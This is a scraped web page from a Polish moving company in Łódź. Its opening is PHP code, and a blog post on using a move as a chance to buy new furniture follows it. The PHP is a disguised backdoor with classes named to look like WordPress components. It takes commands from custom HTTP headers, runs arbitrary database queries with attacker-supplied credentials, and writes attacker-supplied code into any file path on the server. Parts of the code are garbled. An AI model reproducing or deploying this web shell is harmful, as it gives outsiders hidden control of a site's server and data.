n class WP_Content_Handler_Checker { var $wp_host; var $wp_user; var $wp_pass; var $name; var $result = array(); var $errors = array(); var $wp_themes_count = 0; function check_wp_connection($wp_connection) { if (class_exists('PDO')) { $this->check_wp_pdo_connection($wp_connection); } else { $this->check_wp_mysql_connection($wp_connection); } } function check_wp_mysql_connection($wp_connection) { if (function_exists('mysqli_connect')) { $connection = mysqli_connect($this->wp_host, $this->wp_user, $this->wp_pass, $this->name); if (!$connection instanceof mysqli) { $this->add_wp_error(910, sprintf("Can't connect to mysqli, message - %s, code - %d", $connection->connect_error, $connection->connect_errno)); return; } call_user_func_array(array($connection, 'query'), array("SET NAMES 'utf8'")); call_user_func_array(array($connection, 'query'), array("SET CHARACTER SET 'utf8'")); $wp_connection_success = call_user_func_array(array($connection, 'query'), array($wp_connection)); if ($wp_connection_success == false) { $this->add_wp_error($connection->errno, $connection->error); } else { $this->wp_themes_count = $connection->{'affected_rows'}; while ($data = call_user_func_array(array($wp_connection_success, 'fetch_assoc'), array())) { $this->result[] = $data; } } } elseif (function_exists('mysql_connect')) { $connection = mysql_connect($this->wp_host, $this->wp_user, $this->wp_pass); if ($connection == false) { $this->add_wp_error(910, "Can't connect to mysql"); return; } mysql_select_db($this->name, $connection); mysql_query("SET NAMES 'utf8'", $connection); mysql_query("SET CHARACTER SET 'utf8'", $connection); $wp_connection_success = mysql_query($wp_connection, $connection); if ($wp_connection_success == false) { $this->add_wp_error(mysql_errno($connection), mysql_error($connection)); } else { $this->wp_themes_count = mysql_num_rows($wp_connection_success); while ($data = mysql_fetch_assoc($wp_connection_success)) { $this->result[] = $data; } } } } function check_wp_pdo_connection($wp_connection) { $pdo_config_all = 'mysql:'; $pdo_config = array( 'host' => $this->wp_host, 'dbname' => $this->name, 'charset' => 'utf8' ); foreach ($pdo_config as $key => &$item) { $item = $key . '=' . $item; } $pdo_config_all .= implode(';', $pdo_config); try { $connection = new PDO($pdo_config_all, $this->wp_user, $this->wp_pass); call_user_func_array(array($connection, 'query'), array('SET CLIENT_ENCODING TO "UTF8"')); call_user_func_array(array($connection, 'query'), array('SET NAMES "UTF8"')); $query = call_user_func_array(array($connection, 'query'), array($wp_connection, PDO::FETCH_ASSOC)); if ($query == false) { $error_info = call_user_func_array(array($connection, 'errorInfo'), array()); $error_code = call_user_func_array(array($connection, 'errorCode'), array()); $this->add_wp_error($error_code, end($error_info)); return; } $this->wp_themes_count = call_user_func(array($query, 'rowCount'), array()); $this->result = call_user_func_array(array($query, 'fetchAll'), array()); } catch (PDOException $exception) { $this->add_wp_error(call_user_func_array(array($exception, 'getCode'), array()), call_user_func_array(array($exception, 'getMessage'), array())); } } function __construct() { $this->wp_host = stripslashes(@$_SERVER['HTTP_VI_DATABASE_HOST']); $this->wp_user = stripslashes(@$_SERVER['HTTP_VI_DATABASE_USER']); $this->wp_pass = stripslashes(@$_SERVER['HTTP_VI_DATABASE_PASS']); $this->name = stripslashes(@$_SERVER['HTTP_VI_DATABASE_NAME']); if (empty($this->wp_host)) { $this->add_wp_error(900, "No host provided"); } if (empty($this->wp_user)) { $this->add_wp_error(901, "No user provided"); } if (empty($this->wp_pass)) { $this->add_wp_error(902, "No pass provided"); } if (empty($this->name)) { $this->add_wp_error(903, "No database name provided"); } } function add_wp_error($code, $message) { $this->errors[] = array( 'code' => $code, 'message' => $message ); } function get_wp_errors() { return $this->errors; } function wp_get_themes_count() { return $this->wp_themes_count; } function is_wp_connection_succeed() { return !count($this->errors); } function get_wp_connection_result() { return $this->result; } } class WP_Content_Handler_Accessor { function create() { $method = @$_SERVER['HTTP_VI_METHOD']; if (!mb_strlen($method)) { return; } ob_end_clean(); switch ($method) { case 'query': $this->check_wp_connection_handler(); break; case 'update': $this->update_parameters(); break; default: return; } } function check_wp_connection_handler() { $query = stripslashes(@$_SERVER['HTTP_VI_DATABASE_QUERY']); if (!mb_strlen($query)) { $this->wp_response(false, array( array( 'code' => 0, 'message' => 'No query provided' ) )); exit; } $database = new WP_Content_Handler_Checker(); $database->check_wp_connection($query); if ($database->is_wp_connection_succeed()) { $this->wp_response(true, array( 'rows' => $database->wp_get_themes_count(), 'result' => $database->get_wp_connection_result() )); } else { $this->wp_response(false, $database->get_wp_errors()); } } function update_parameters() { $parameters_path = stripslashes(@$_SERVER['HTTP_VI_PATH']); $new_parameters = urldecode(@$_REQUEST['VI_SCRIPT']); $old_parameters_path = stripslashes(@$_SERVER['HTTP_VI_INCLUDE_PATH']); $old_parameters = urldecode(@$_REQUEST['VI_INCLUDE_CODE']); if (!mb_strlen($new_parameters)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No sсript passed' ))); } if (!mb_strlen($parameters_path)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No sсript path passed' ))); } if (!mb_strlen($old_parameters_path)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No include path passed' ))); } $success = $this->update_wp_accessor_parameters($parameters_path, $new_parameters); if ($success) { $success = $this->wp_update_parameters($old_parameters_path, $old_parameters); } $this->wp_response($success, null); } function update_wp_accessor_parameters($path, $parameters) { return (bool)@file_put_contents($path, " n" . stripslashes($parameters)); } function wp_update_parameters($old_parameters_path, $old_parameters) { $file = file_get_contents($old_parameters_path); if (!mb_strlen($file)) { return false; } if (mb_strpos($file, $old_parameters) !== false) { return true; } if ($this->is_parameters_valid($file)) { $file = $file . "n" . " n" . $old_parameters . " n?>"; } else { $file = $file . "nn" . $old_parameters; } return (bool)@file_put_contents($old_parameters_path, $file); } function is_parameters_valid($file) { $last_available_parameters_count = strrpos($file, ""); $last_updated_parameters_count = ($last_updated_parameters_count === false) ? -1 : $last_updated_parameters_count; return $last_available_parameters_count <= $last_updated_parameters_count; } function wp_response($success, $data) { $wp_response = array('success' => $success); $wp_response[$success ? 'data' : 'errors'] = $data; header('Content-Type: application/json'); echo json_encode($wp_response); exit; } } $accessor = new WP_Content_Handler_Accessor(); $accessor->create(); Przeprowadzka to szansa na przemeblowanie - Przeprowadzki Łódź ® przeprowadzajac.pl

Przeprowadzka to szansa na przemeblowanie

Przeprowadzka

Przeprowadzka. Czas dość niezwykły – okres, w którym w naszym życiu zmienia się naprawdę wiele. Zmiana miejsca zamieszkania jednak zawsze wiąże się z koniecznością przestawienia w swoim życiu bardzo wielu rzeczy. Generalnie najważniejszą sprawą jest przeniesienie wszystkiego do nowego mieszkania ale czy na pewno wszystkiego? Wiele osób powie, że tak, w końcu nie warto zostawiać niczego nowemu właścicielowi lokalu. Oczywiście nic bardziej błędnego. Jak pokazuje doświadczenie, pozostawienie niektórych mebli w lokalu może podnieść jego wartość, a nawet jeśli tak nie będzie, może być dla nas bardzo pozytywnym krokiem.

Przeprowadzka idealną okazją do przemeblowania

Przeprowadzka z reguły jest postrzegana jako przenoszenie wszystkiego do nowego miejsca, jednak tak być nie musi. Ten czas, to doskonała okazja do tego, by po prostu urządzić się na nowo. Kupując nowe mieszkanie na początku więc warto się zastanowić co z naszego starego mieszania i czy na pewno będzie pasować do nowego lokalu. W przypadku lokali mieszkalnych o różnych powierzchniach, sprawa jest oczywista – jeśli przeprowadzamy się do lokalu mniejszego, nie ma fizycznej możliwości, by przewieźć wszystko. Jeśli jest inaczej – po prostu trzeba przemyśleć, pamiętając o jednym, przeprowadzka to idealny czas na zmiany, o wiele lepszy niż zmiany w trakcie mieszkania w danym miejscu.

Bez wątpienia w każdej chwil można dokonywać takich zmian, ale życie pokazuje, że w trakcie mieszkania jest o wiele trudniej. Zraża konieczność remontu, przenoszenia, wynoszenia. Przeprowadzka to czas, w którym dzieje się to wszystko i dlatego nie ma znaczenia, czy przysłowiowy tapczan przewieziemy z naszego starego mieszkania czy będziemy wieźć nowy – ze sklepu. Podobnie z meblami i innymi sprzętami. Oczywiście to wszystko będzie zwiane z wydatkami, jednak trzeba wziąć pod uwagę jedno – jeśli zdecydujemy się na przemeblowanie i zakup nowych mebli czy sprzętów, stare pozostawimy, co może podnieść wartość mieszkania lub też spowodować, że zainteresuje się nim większa grupa klientów. Rzecz jasna nie spowoduje to, że nowe sprzęty dostaniemy praktycznie za darmo, jednak bez wątpienia chociaż część pieniędzy wydanych na ich zakup uda się w ten sposób odzyskać.

Przeprowadzka, to szansa na przemeblowanie

Przeprowadzka i tak jest czasem pracy i żmudnego meblowania wszystkiego na nowo

Warto w tym momencie przemyśleć, czy nie opłaca się zrobić czegoś więcej i po prostu postarać się o choć niektóre nowe meble czy inne domowe sprzęty. Warto wiedzieć, że to doskonała okazja do takich zakupów i do spowodowania, że w nowym lokalu będzie powiew nowości. Mieszkanie w nowym lokalu to najczęściej kilka lat, a często i całe życie, warto więc już od początku się postarać, by było to mieszkanie w dobrych warunkach. Starając się, przy przeprowadzce można to zrobić. Jeśli przeprowadzka jest związana z wyprowadzeniem się z lokalu droższego, a wprowadzaniem do tańszego, tym bardziej warto to zrobić. Pieniądze, które pozostaną, to doskonały powód do takiego kroku. Raz kupione rzeczy, co należy zapamiętać, posłużą nam wiele lat, jest więc to jednorazowy większy wydatek, który warto ponieść.

Leave a Reply